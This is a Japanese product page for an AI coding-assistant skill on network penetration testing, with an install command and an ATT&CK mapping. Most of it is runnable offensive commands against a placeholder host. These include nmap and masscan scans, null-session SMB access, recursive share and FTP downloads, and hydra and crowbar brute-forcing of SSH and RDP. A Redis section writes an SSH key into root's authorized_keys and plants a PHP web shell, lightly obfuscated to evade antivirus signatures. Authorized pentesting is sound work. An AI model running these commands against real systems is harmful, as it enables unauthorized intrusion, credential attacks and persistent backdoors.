enumerating-network-services について
セキュリティ担当者向けのネットワーク侵入テストスキルです。一般的なネットワークプロトコルのサービス発見、列挙、悪用を扱い、SMB、FTP、SSH、データベース、LDAPなどの個別チェックをスキャン手順と組み合わせています。
主な機能
- 01ポートスキャンとサービス発見
- 02SMB、FTP、SSHの確認
- 03HTTP、RDP、データベースのテスト
- 04バナーとバージョンの検出
- 05プロトコル別の列挙
活用シーン
- 01侵入テストで公開サービスを把握
- 02サービスのバージョンと設定不備の特定
- 03データベースやファイル共有サービスのテスト
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill enumerating-network-servicesインストール後、Claude Code で/enumerating-network-servicesを入力して読み込まれたか確認します。
同梱ファイルreferences/database-services.md
詳細
ネットワークサービス列挙スキル
サービスの列挙と悪用を専門とする、ネットワーク侵入テストのエキスパートです。ユーザーが次の支援を求めている場合に、このスキルを使用します。
- ポートごとのネットワークサービスの列挙
- 一般的なネットワークサービス(SMB、FTP、SSH、RDP など)の悪用
- データベースサービスのテスト(MySQL、MSSQL、PostgreSQL、MongoDB)
- サービス固有の脆弱性の特定
- バナー取得とバージョン検出
- ネットワークプロトコルの分析
使用する場面
ユーザーが次のことを依頼した場合に、このスキルを有効にします。
- 特定ポート上のネットワークサービスを列挙する
- 一般的なネットワークサービスの脆弱性をテストする
- データベースサービスに接続して悪用する
- サービス固有の偵察を実施する
- サービスの設定ミスを特定する
- ネットワークサービスからデータを抽出する
- ネットワーク侵入テストを支援する
使用しない場面
- ソースコードを入手できる —
auditing-code-for-vulnerabilitiesを使用します - Web アプリケーション層に特化した作業 —
testing-web-applicationsを使用します - クラウドプロバイダーの API とコントロールプレーン —
exploiting-cloud-platformsを使用します - ターゲットに接触する前のパッシブ OSINT —
performing-reconnaissanceを使用します - ネットワーク上の ICS/OT プロトコル(Modbus/502、DNP3、S7comm/102、OPC UA、
BACnet) —
testing-ics-ot-protocolsを使用します。IT サービスと同じ方法で これらをスキャンすると PLC がクラッシュする可能性があり、安全ルールも異なります
主な手法
1. ポートスキャンとサービスの検出
Nmap スキャン戦略:
# Quick TCP scan
nmap -sC -sV -oA scan 10.10.10.10
# Full TCP port scan
nmap -p- -T4 10.10.10.10
nmap -p- -sV -sC -A 10.10.10.10 -oA full-scan
# UDP scan (top 1000)
sudo nmap -sU --top-ports 1000 10.10.10.10
# Aggressive scan
nmap -A -T4 10.10.10.10
# Specific port scan with scripts
nmap -p 445 --script smb-* 10.10.10.10
nmap -p 21 --script ftp-* 10.10.10.10
# Service version detection
nmap -sV --version-intensity 9 10.10.10.10
# OS detection
sudo nmap -O 10.10.10.10
高速ポートスキャン:
# masscan - very fast
masscan -p1-65535 10.10.10.10 --rate=1000
# rustscan - fast with nmap integration
rustscan -a 10.10.10.10 -- -sC -sV
2. SMB/SAMBA(ポート 139、445)
列挙:
# Nmap SMB scripts
nmap -p 445 --script smb-protocols 10.10.10.10
nmap -p 445 --script smb-security-mode 10.10.10.10
nmap -p 445 --script smb-enum-shares 10.10.10.10
nmap -p 445 --script smb-enum-users 10.10.10.10
# smbclient - list shares
smbclient -L //10.10.10.10 -N
smbclient -L //10.10.10.10 -U username
# smbmap
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u username -p password
smbmap -H 10.10.10.10 -u username -p password -R # Recursive listing
# enum4linux
enum4linux -a 10.10.10.10
enum4linux -U -M -S -P -G 10.10.10.10
# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.10
nxc smb 10.10.10.10 -u '' -p '' # Null session
nxc smb 10.10.10.10 -u username -p password --shares
nxc smb 10.10.10.10 -u username -p password --users
共有への接続:
# smbclient
smbclient //10.10.10.10/share -U username
smbclient //10.10.10.10/share -N # Null session
# Mount SMB share
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
# Download all files recursively
smbget -R smb://10.10.10.10/share -U username
SMB の脆弱性:
# EternalBlue (MS17-010)
nmap -p 445 --script smb-vuln-ms17-010 10.10.10.10
# Other SMB vulns
nmap -p 445 --script smb-vuln-* 10.10.10.10
3. FTP(ポート 21)
列挙:
# Connect anonymously
ftp 10.10.10.10
# user: anonymous, pass: anonymous
# Nmap FTP scripts
nmap -p 21 --script ftp-anon 10.10.10.10
nmap -p 21 --script ftp-bounce 10.10.10.10
nmap -p 21 --script ftp-brute 10.10.10.10
# Download all files
wget -r ftp://anonymous:[email protected]/
FTP コマンド:
# In FTP session
ls -la
cd directory
get filename # Download
mget * # Download multiple
put filename # Upload
binary # Set binary mode for binaries
4. SSH(ポート 22)
列挙:
# Banner grab
nc 10.10.10.10 22
nmap -p 22 -sV 10.10.10.10
# Enumerate users
./ssh-user-enum.py --port 22 --userList users.txt 10.10.10.10
# Brute force (use carefully)
hydra -l root -P wordlist.txt ssh://10.10.10.10
SSH キー認証:
# Connect with key
ssh -i id_rsa [email protected]
# Fix key permissions
chmod 600 id_rsa
# Generate SSH key pair
ssh-keygen -t rsa -b 4096
5. HTTP/HTTPS(ポート 80、443、8080、8443)
Web 列挙:
# Whatweb - identify web technologies
whatweb http://10.10.10.10
# Nikto vulnerability scanner
nikto -h http://10.10.10.10
# Directory/file bruteforce
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://10.10.10.10 -w wordlist.txt
ffuf -u http://10.10.10.10/FUZZ -w wordlist.txt
# DNS subdomain enumeration
gobuster dns -d example.com -w subdomains.txt
ffuf -u http://FUZZ.example.com -w subdomains.txt
# Virtual host discovery
gobuster vhost -u http://10.10.10.10 -w vhosts.txt
SSL/TLS テスト:
# Check SSL certificate
openssl s_client -connect 10.10.10.10:443
# SSL vulnerabilities
nmap -p 443 --script ssl-* 10.10.10.10
testssl.sh https://10.10.10.10
6. RDP(ポート 3389)
列挙:
# Nmap
nmap -p 3389 --script rdp-* 10.10.10.10
# Check if RDP is enabled
nmap -p 3389 -sV 10.10.10.10
接続:
# rdesktop
rdesktop 10.10.10.10
# xfreerdp
xfreerdp /u:Administrator /p:password /v:10.10.10.10
xfreerdp /u:user /d:DOMAIN /v:10.10.10.10
ブルートフォース:
# hydra
hydra -l administrator -P passwords.txt rdp://10.10.10.10
# crowbar
crowbar -b rdp -s 10.10.10.10/32 -u admin -C passwords.txt
7-10. データベースサービス(MySQL、MSSQL、PostgreSQL、MongoDB)
MySQL/MariaDB(3306)、MSSQL(1433)、PostgreSQL(5432)、MongoDB(27017)の サービスごとの詳細な列挙および悪用コマンド集は、 references/database-services.md にあります。
11. Redis(ポート 6379)
列挙:
# Connect
redis-cli -h 10.10.10.10
# Nmap
nmap -p 6379 --script redis-* 10.10.10.10
Redis の悪用:
# In redis-cli
INFO # Server info
CONFIG GET dir # Get directory
CONFIG GET dbfilename
# Write SSH key
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET mykey "ssh-rsa AAAA..."
SAVE
# Write webshell
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET mykey "<?php syst[e]m($_GET['cmd']); ?>"
SAVE
syst[e]mはsystemを表しており、このファイルがウイルス対策ソフトの Web シェルシグネチャに一致しないよう、角括弧で囲んでいます。リポジトリの README にある 「ウイルス対策ソフトの誤検知」を参照してください。
12. LDAP(ポート 389、636)
列挙:
# Nmap
nmap -p 389 --script ldap-* 10.10.10.10
# ldapsearch
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local"
ldapsearch -x -H ldap://10.10.10.10 -D "[email protected]" -w password -b "DC=domain,DC=local"
# Dump all
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" "(objectClass=*)"
13. NFS(ポート 2049)
列挙:
# Show exports
showmount -e 10.10.10.10
# Nmap
nmap -p 2049 --script nfs-* 10.10.10.10
NFS のマウント:
# Mount share
mkdir /mnt/nfs
mount -t nfs 10.10.10.10:/share /mnt/nfs
# List mounted shares
df -h
14. DNS(ポート 53)
列挙:
# Zone transfer
dig axfr @10.10.10.10 domain.com
host -l domain.com 10.10.10.10
# DNS enumeration
dnsenum domain.com
dnsrecon -d domain.com -t std
fierce -dns domain.com
# Nmap
nmap -p 53 --script dns-* 10.10.10.10
15. SNMP(ポート 161)
列挙:
# snmpwalk
snmpwalk -v2c -c public 10.10.10.10
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.1
# onesixtyone - community string brute force
onesixtyone -c community.txt 10.10.10.10
# snmp-check
snmp-check 10.10.10.10 -c public
サービスのクイックテストコマンド
バナー取得:
# Netcat
nc -nv 10.10.10.10 80
nc -nv 10.10.10.10 21
# Telnet
telnet 10.10.10.10 80
telnet 10.10.10.10 25
# Nmap
nmap -sV --script=banner 10.10.10.10
参考リンク
- HackTricks のサービス侵入テスト:https://github.com/HackTricks-wiki/hacktricks/tree/master/src/network-services-pentesting
- PayloadsAllTheThings:https://github.com/swisskyrepo/PayloadsAllTheThings
- Nmap スクリプト:https://nmap.org/nsedoc/
ATT&CK のカバレッジ
secskills-core/ttp-index.json から生成されています。このファイルを編集してから、
python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、
現在の ATT&CK リリースに照らして ID を再確認してください。
偵察 (TA0043)
初期アクセス (TA0001)
- T1133 外部リモートサービス (永続化にも該当)
- T1190 公開アプリケーションの悪用 —
testing-web-applications、testing-apis、attacking-graphql、attacking-grpc-protobuf、exploiting-deserialization、exploiting-ssrf、exploiting-xxeも参照してください
実行 (TA0002)
- T1059 コマンドおよびスクリプトインタープリター —
testing-web-applicationsも参照してください
認証情報アクセス (TA0006)
- T1040 ネットワークスニッフィング (探索にも該当) —
attacking-wireless-networksも参照してください
探索 (TA0007)
ラテラルムーブメント (TA0008)
- T1021 リモートサービス —
attacking-active-directoryも参照してください - T1021.002 SMB/Windows 管理共有 —
attacking-active-directoryも参照してください - T1021.004 SSH —
escalating-linux-privilegesも参照してください - T1210 リモートサービスの悪用 —
exploiting-memory-corruptionも参照してください
これらのいずれかに関する検知コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。